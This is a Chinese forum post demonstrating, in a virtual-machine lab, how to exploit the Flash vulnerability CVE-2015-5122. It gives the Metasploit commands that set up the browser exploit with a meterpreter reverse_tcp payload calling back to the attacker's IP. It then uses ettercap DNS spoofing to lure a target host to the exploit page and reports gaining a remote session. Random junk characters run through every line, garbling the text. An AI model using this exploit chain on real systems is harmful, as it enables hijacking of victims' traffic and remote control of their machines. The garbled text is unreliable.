找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1329|回复: 0
打印 上一主题 下一主题

cve2015-5122漏洞实例演示虚拟机

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

( m& Z7 w7 _$ l4 V# w( P 二、cve2015-5122漏洞实例演示虚拟机 7 ^2 S! { F2 o/ v! P

) f: b9 F, C' j

) v, W6 d8 b3 b. G5 m   关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: * x" P' z P H1 V$ |

- {) `- B5 \( q; o9 V

4 s- l" p O0 R3 L |0 C# j$ Z search cve-2015-5122如图: : J/ e* @/ p6 J- B" l0 |8 Z# w$ n

$ C- z, g {) B0 |! }

5 b, N0 W m% z7 M ~* Q8 d+ R1 A   ; x; ~( ?+ Q, o- ~

! o! }/ a! R% f; ]8 d

, y( Y5 x' b, ]4 D+ Z 下面我们敲如下命令: 2 E* ]; G0 ~* `( a* P) K3 ^9 t

3 \" ^ d( D; b" f1 b" x( o0 c

. s/ ` |2 I1 n" ] ] s, i use exploit/multi/browser/adobe_flash_opaque_background_uaf ; ]1 {+ _' w( d) t2 \; a* h5 `

* |. f, u+ N. E& y' A, J

' P B Q2 l4 a6 z# F set PAYLOAD windows/meterpreter/reverse_tcp ( X4 `. S2 L+ u) s! s$ D) C

Y8 b1 x$ j2 s1 ]3 A6 O

. B$ Y, X" O s& u4 d' ] set LHOST 192.168.0.109 6 _/ k$ @4 |& G) @7 g- s

7 V9 t. w; g. u2 p1 T

4 M8 B X/ p5 F- v" y$ M" e# u set URIPATH /                        /*根目录*/ : L( R% @1 o( j& ?% p

6 E) [- j# D, V. b W- Z9 M' N

( L) s9 V3 s, A4 v set SRVHOST 192.168.0.109  //192.168.0.109kaili ip地址 1 l' B' i D6 \3 N M O

* Z: k, `* W0 E- ]( p$ ?

0 p4 e& @! Z0 i) Y' R M% y6 z& d set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 # K0 z% i- k$ h% X4 q, Q

2 }% l' u/ e% ^& ]

: w/ m' R, U. v- @ G1 l 然后show options如图: 0 W0 t( \: d/ j! l" F* ^

4 N2 \* L: ]1 f" d

z" i K) y9 V) o( R6 l" w5 q: W: M   $ x) i8 h, p$ ?, \6 ~5 d

q2 a( E4 D0 F% p4 v

, k& z4 k& N* S* ~, V* {8 d 一切都设置好了,执行exploit下面我们进etc/ettercap目录下设置etc.dns如图:
2 W' m" D/ h/ _ S% @: h
# ]' l; V; ?" U2 k+ x% x O

5 |7 x' b/ w* s: T

- `# Q' w0 R% M 然后ettercap -G命令打开ettercap,我们要攻击的主机ip192.168.0115 ! J: v* _+ a7 L$ [

4 i) i3 W: H) g; C, g

5 ^! A! T3 t8 c% `8 O! S8 l Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf 0 d7 c5 f" y3 Z

, \8 ~ ]/ |- V+ b+ X, `

0 V! h0 n+ W! y% s" G   % C# v% `- M9 Q) [

4 X# D# f2 d# m+ l

' U+ i1 ^3 K0 @# O; A3 L1 ]1 K 成功了,这时候我们断开ettercap,如图: $ Z, B, x3 x" H0 R2 o8 W- f3 r

4 E0 _* D5 A8 C1 s8 `# u

1 r0 V( }+ k/ x; q0 V9 P2 N% t   6 d/ o: ~; w$ j4 f

$ B6 C+ E. U; }" G7 s8 t: G# P) d; m2 ^

) E- E, J7 S1 h5 m7 k Screenshot如图: 5 W$ ~9 j( A: e# o$ u3 C

$ d3 i# {" l9 T) z1 a |8 S6 e6 @

9 I( h+ i" [- [) d2 ?8 t   ! d d8 F7 W, t$ q$ y

6 ^9 j0 Y3 c8 k/ l

2 u h6 u' [6 U! ?: N- o : [/ N6 P. g2 Z3 |1 _- }, x0 }

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表